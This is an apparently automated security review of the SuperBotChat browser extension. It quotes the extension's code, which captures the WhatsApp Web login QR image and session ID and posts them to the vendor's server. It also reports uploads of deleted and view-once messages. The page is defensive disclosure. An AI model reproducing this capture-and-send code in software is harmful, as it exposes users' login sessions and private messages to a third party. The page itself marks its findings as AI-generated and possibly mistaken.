Is SuperBotChat safe?

Medium risk

SuperBotChat sends WhatsApp Web login QR images, deleted and view-once messages to its own servers.

On WhatsApp Web, the extension captures the login QR code image along with the session ID and posts them to the vendor backend. It also uploads the original contents of deleted and view-once messages. As a WhatsApp CRM, it relays chat messages and contacts to the vendor API and any webhook the operator sets, and routes AI-assist content, including a user-supplied OpenAI key, through the same API.

v0.1.6.7Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

WhatsApp Web login QR code image and session ID are sent to the vendor backend

Code analysis shows the extension reads the WhatsApp Web login QR canvas and posts it with the session ID to the vendor API when the server enables it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Static analysis
What actually happens
You did this

You open WhatsApp Web while logged out and the login QR code is shown.

The vendor server must also have set the QR-request flag.

The extension did this

The extension converts the QR canvas to an image and posts it with your session ID to its vendor backend.

Endpoint is apiexpress.superbotchat.com/user/send/qrcode/.

Fields in the user/send/qrcode/ request body
  • QR image
    data:image/png;base64,iVBORw0KGgo... (illustrative)

    A PNG data URL of the WhatsApp login QR canvas.

  • WhatsApp session ID
    wapp:sessionId (value read at runtime)

    The wapp:sessionId value from WhatsApp Web localStorage.

  • Request code
    codigo (value supplied by server)

    A code the vendor server returned for this QR request.

The code that does this

canvasQr reads the QR canvas and calls requestSendQR

Readable version

canvasQr

assets/js/core.js
canvasQr: function() {  if (window.wacore.function.mydebug("canvasQr"), wacore.whatsapp.solicitarqrcode.status) {    document.querySelector("._1N3oL > ._25pwu > ._2UwZ_ > span > ._2znac") && document.querySelector("._1N3oL > ._25pwu > ._2UwZ_ > span > ._2znac").click();    var e = document.querySelector('canvas[role="img"]');    let a = null;    if (e) {      var t = e.toDataURL();      a = e ? t : null    }    wacore.fetch.requestSendQR({      codigo: wacore.whatsapp.solicitarqrcode.codigo,      session: window.localStorage.getItem("wapp:sessionId"),      qrcode: a    })  } else wacore.fetch.requestSendQR({    codigo: wacore.whatsapp.solicitarqrcode.codigo,    session: window.localStorage.getItem("wapp:sessionId"),    qrcode: null  })}

requestSendQR

assets/js/core.js
requestSendQR: function(e) {  wacore.request.api_post("sendQR", "user/send/qrcode/", {    codigo: e.codigo,    session: window.localStorage.getItem("wapp:sessionId"),    qrcode: e.qrcode  }, !0, null, !0)}
Destination of the QR image and session ID
    • apiexpress.superbotchat.com

    Vendor API; receives the QR image and session ID, and supplies the api_url used.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed SuperBotChat contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • apiexpress.superbotchat.com

    SuperBotChat sends data to apiexpress.superbotchat.com. No other extension we have analysed sends data here.

Updated 15 October 2026iggphbbfcidekbaoofnnhafkaolofknl